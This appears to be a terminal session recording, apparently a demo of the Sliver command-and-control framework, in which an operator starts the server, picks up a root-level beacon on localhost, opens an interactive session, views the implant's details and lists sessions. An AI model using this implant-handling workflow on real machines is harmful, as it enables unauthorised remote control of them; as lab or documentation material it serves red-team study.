[53.590827, "o", "\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[53.761387, "o", "\u001b[?25l"]
|
||||
[53.76232, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[53.770592, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[54.915484, "o", "\u001b[13D\u001b[9C\u001b[6n"]
|
||||
[54.931527, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[54.932852, "o", "\u001b[0 q\r\n"]
|
||||
[54.948308, "o", "Exiting...\r\n"]
|
||||
[54.99178, "o", "\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[56.165927, "o", "^C"]
|
||||
[56.172389, "o", "\u001b[?2004l\r\u001b[?2004h\u001b[?2004l\r\r\n"]
|
||||
[56.183662, "o", "\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[56.672344, "o", "\u001b[?2004l\r\r\n"]
|
||||
[56.678369, "o", "exit\r\n"]
|
||||
@@ -0,0 +1,326 @@
|
||||
{"version": 2, "width": 107, "height": 52, "timestamp": 1714590264, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
|
||||
[0.136132, "o", "\u001b[?2004h"]
|
||||
[0.143774, "o", "root@98df0494f659:~# "]
|
||||
[0.553882, "o", "."]
|
||||
[0.600805, "o", "/"]
|
||||
[0.786408, "o", "s"]
|
||||
[0.920327, "o", "l,"]
|
||||
[1.020856, "o", "i"]
|
||||
[1.09121, "o", "v"]
|
||||
[1.237796, "o", "e"]
|
||||
[1.462542, "o", "\b\u001b[K"]
|
||||
[1.608919, "o", "\b\u001b[K"]
|
||||
[1.789658, "o", "\b\u001b[K"]
|
||||
[1.964842, "o", "\b\u001b[K"]
|
||||
[2.221513, "o", "i"]
|
||||
[2.348423, "o", "v"]
|
||||
[2.437752, "o", "e"]
|
||||
[2.543392, "o", "r"]
|
||||
[2.604143, "o", "-"]
|
||||
[2.821617, "o", "s"]
|
||||
[2.872165, "o", "e"]
|
||||
[2.921024, "o", "r"]
|
||||
[3.132354, "o", "v"]
|
||||
[3.22335, "o", "e"]
|
||||
[3.328553, "o", "r"]
|
||||
[3.740231, "o", "\r\n"]
|
||||
[3.741739, "o", "\u001b[?2004l\r"]
|
||||
[4.820992, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\n"]
|
||||
[4.824064, "o", "All hackers gain miracle\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n\r\n"]
|
||||
[4.851709, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[4.853842, "o", "\u001b[1 q"]
|
||||
[4.855739, "o", "\u001b[?25l"]
|
||||
[4.856263, "o", "\u001b[107D"]
|
||||
[4.857824, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.860336, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[4.861145, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C"]
|
||||
[4.862185, "o", "\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[8.911322, "o", "\u001b[9D\u001b[9C\u001b[107D"]
|
||||
[8.911705, "o", "\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mBeacon df10fe87 CONTINUING_DOWNTOWN - 127.0.0.1:60516 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 19:04:33 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[8.912258, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.91474, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[10.377847, "o", "\u001b[?25l"]
|
||||
[10.381083, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.390668, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[10.393864, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[10.395131, "o", "\u001b[6n"]
|
||||
[10.400558, "o", "uy\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[10.483651, "o", "\u001b[?25l"]
|
||||
[10.486915, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.49085, "o", "uys\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[10.946724, "o", "\u001b[?25l"]
|
||||
[10.948094, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.951717, "o", "uy\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[11.063725, "o", "\u001b[?25l"]
|
||||
[11.064389, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.076724, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[11.077069, "o", "\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[11.102311, "o", "\u001b[?25l"]
|
||||
[11.103071, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.105707, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[11.146745, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[11.146897, "o", "\u001b[6n"]
|
||||
[11.149231, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D"]
|
||||
[11.14994, "o", "\u001b[12C\u001b[?25h"]
|
||||
[11.374809, "o", "\u001b[12D\u001b[9C"]
|
||||
[11.376359, "o", "\u001b[6n"]
|
||||
[11.379162, "o", "\u001b[107D\u001b[12C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[11.381221, "o", "\u001b[0 q\r\n"]
|
||||
[11.405099, "o", "\u001b7\u001b[?25l"]
|
||||
[11.406297, "o", "\u001b8"]
|
||||
[11.407694, "o", "\u001b[0G\u001b[2K"]
|
||||
[11.422757, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n"]
|
||||
[11.423641, "o", "\u001b7"]
|
||||
[11.427229, "o", "\u001b[1A"]
|
||||
[11.427338, "o", "\u001b[0G"]
|
||||
[11.988908, "o", "\u001b8"]
|
||||
[11.99021, "o", "\u001b[?25h\u001b8\u001b[0G"]
|
||||
[11.998075, "o", "\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[12.000187, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n"]
|
||||
[12.002379, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive beacon CONTINUING_DOWNTOWN (df10fe87-85a9-4957-bb8a-1fac6f46beee)\r\n"]
|
||||
[12.050123, "o", "\r\n"]
|
||||
[12.067053, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[12.069129, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[12.077063, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[12.077321, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[14.803268, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[14.81619, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[14.816919, "o", "\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[14.863769, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[14.865055, "o", "\u001b[6n"]
|
||||
[14.867546, "o", "in\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[14.867924, "o", "\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[14.920156, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[14.923699, "o", "int\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[15.016849, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[15.02499, "o", "inte\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[15.026144, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[15.125867, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[15.135034, "o", "inter\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[15.136964, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[15.30068, "o", "\u001b[1 q"]
|
||||
[15.359274, "o", "\u001b[1 q"]
|
||||
[15.361036, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[15.36373, "o", "\u001b[1m\u001b[32minteractive \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[15.364559, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[31C\u001b[107D\u001b[43C\u001b[?25h"]
|
||||
[16.281669, "o", "\u001b[43D\u001b[31C"]
|
||||
[16.289447, "o", "\u001b[6n"]
|
||||
[16.293013, "o", "\u001b[107D\u001b[43C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[16.294473, "o", "\u001b[0 q\r\n"]
|
||||
[16.311327, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mUsing beacon's active C2 endpoint: https://localhost\r\n"]
|
||||
[16.333966, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mTasked beacon CONTINUING_DOWNTOWN (97065184)\r\n"]
|
||||
[16.334834, "o", "\r\n"]
|
||||
[16.347152, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[16.347733, "o", "\u001b[1 q\u001b[?25l"]
|
||||
[16.347906, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[16.349684, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D"]
|
||||
[16.350076, "o", "\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[19.76795, "o", "\u001b[?25l\u001b[107D"]
|
||||
[19.770371, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[19.77702, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D"]
|
||||
[19.778475, "o", "\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[19.835542, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[19.838361, "o", "in\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[19.839131, "o", "\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[19.974258, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[19.986342, "o", "inf\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[19.987375, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[20.046116, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[20.051129, "o", "\u001b[1m\u001b[32minfo\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.05242, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[20.247916, "o", "\u001b[35D\u001b[31C\u001b[6n"]
|
||||
[20.259176, "o", "\u001b[107D\u001b[35C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[20.287182, "o", "\u001b[1m Beacon ID: \u001b[0mdf10fe87-85a9-4957-bb8a-1fac6f46beee\r\n"]
|
||||
[20.287548, "o", "\u001b[1m Name: \u001b[0mCONTINUING_DOWNTOWN\r\n\u001b[1m Hostname: \u001b[0m98df0494f659\r\n\u001b[1m UUID: \u001b[0m3424b72e-e104-e99b-e183-dc60a7b751a0\r\n\u001b[1m Username: \u001b[0mroot\r\n\u001b[1m UID: \u001b[0m0\r\n\u001b[1m GID: \u001b[0m0\r\n\u001b[1m PID: \u001b[0m19304\r\n"]
|
||||
[20.287807, "o", "\u001b[1m OS: \u001b[0mlinux\r\n\u001b[1m Version: \u001b[0mLinux 98df0494f659 5.10.76-linuxkit\r\n\u001b[1m Locale: \u001b[0m\r\n"]
|
||||
[20.287876, "o", "\u001b[1m Arch: \u001b[0mamd64\r\n"]
|
||||
[20.287932, "o", "\u001b[1m Active C2: \u001b[0mhttps://localhost\r\n"]
|
||||
[20.288299, "o", "\u001b[1m Remote Address: \u001b[0m127.0.0.1:60516\r\n\u001b[1m Proxy URL: \u001b[0m\r\n"]
|
||||
[20.290085, "o", "\u001b[1m Interval: \u001b[0m15s\r\n\u001b[1m Jitter: \u001b[0m30s\r\n\u001b[1m First Contact: \u001b[0mWed May 1 19:04:33 UTC 2024 (12s ago)\r\n\u001b[1m Last Checkin: \u001b[0mWed May 1 19:04:34 UTC 2024 (11s ago)\r\n"]
|
||||
[20.29096, "o", "\u001b[1m Next Checkin: \u001b[0m\u001b[1m\u001b[32mWed May 1 19:05:04 UTC 2024 (in 19s)\u001b[0m\r\n"]
|
||||
[20.29207, "o", "\r\n"]
|
||||
[20.306548, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[20.30802, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[20.309864, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[49.886721, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mSession d761c1c5 CONTINUING_DOWNTOWN - 127.0.0.1:60532 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 19:05:14 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[49.889466, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[49.889807, "o", "\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[53.019212, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.028493, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[53.030468, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[53.076648, "o", "\u001b[?25l"]
|
||||
[53.077358, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.080118, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[53.206433, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.209767, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[53.273992, "o", "\u001b[?25l"]
|
||||
[53.275967, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.279402, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[53.432538, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.436394, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[53.436558, "o", "\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[53.479687, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.483212, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[53.483611, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[53.522649, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[53.523931, "o", "\u001b[6n"]
|
||||
[53.526806, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[53.527532, "o", "\u001b[107D\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
|
||||
[53.632377, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.643176, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[31C\u001b[107D\u001b[39C\u001b[?25h"]
|
||||
[53.721129, "o", "\u001b[?25l"]
|
||||
[53.723732, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.731187, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[53.732263, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[40D\u001b[31C\u001b[107D\u001b[40C\u001b[?25h"]
|
||||
[54.10233, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[54.111554, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[31C\u001b[107D\u001b[41C\u001b[?25h"]
|
||||
[54.300203, "o", "\u001b[41D\u001b[31C\u001b[6n"]
|
||||
[54.315441, "o", "\u001b[107D\u001b[41C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[54.346452, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n"]
|
||||
[54.347833, "o", "\r\n"]
|
||||
[54.359048, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[54.359301, "o", "\u001b[1 q\u001b[?25l"]
|
||||
[54.35975, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[54.361463, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[54.362218, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[54.798195, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[54.813297, "o", "s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[54.888739, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[54.888945, "o", "\u001b[6n"]
|
||||
[54.890465, "o", "se\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[54.890967, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[55.057905, "o", "\u001b[?25l\u001b[107D"]
|
||||
[55.059519, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[55.065726, "o", "ses\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[55.270376, "o", "\u001b[1 q"]
|
||||
[55.300588, "o", "\u001b[1 q"]
|
||||
[55.300983, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[55.304519, "o", "\u001b[1m\u001b[32msessions \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[18D\u001b[9C\u001b[107D\u001b[18C\u001b[?25h"]
|
||||
[55.508945, "o", "\u001b[18D\u001b[9C\u001b[6n"]
|
||||
[55.520436, "o", "\u001b[107D\u001b[18C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[55.554794, "o", " ID Transport Remote Address Hostname Username Operating System Health \r\n========== =========== ================= ============== ========== ================== =========\r\n \u001b[0md761c1c5\u001b[0m \u001b[0mhttp(s)\u001b[0m \u001b[0m127.0.0.1:60532\u001b[0m \u001b[0m98df0494f659\u001b[0m \u001b[0mroot\u001b[0m \u001b[0mlinux/amd64\u001b[0m \u001b[1m\u001b[32m[ALIVE]\u001b[0m \r\n"]
|
||||
[55.555094, "o", "\r\n"]
|
||||
[55.566649, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[55.566788, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[55.568515, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[55.568938, "o", "\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[56.05909, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[56.060174, "o", "\u001b[6n"]
|
||||
[56.063406, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[56.064209, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[56.173214, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[56.178309, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[56.230544, "o", "\u001b[?25l"]
|
||||
[56.231217, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[56.232528, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[56.417403, "o", "\u001b[12D"]
|
||||
[56.430372, "o", "\u001b[9C\u001b[6n"]
|
||||
[56.433219, "o", "\u001b[107D\u001b[12C\u001b[0J\u001b[107D"]
|
||||
[56.435212, "o", "\r\r\n\u001b[0 q\r\n"]
|
||||
[56.457793, "o", "\u001b7\u001b[?25l\u001b8\u001b[0G\u001b[2K"]
|
||||
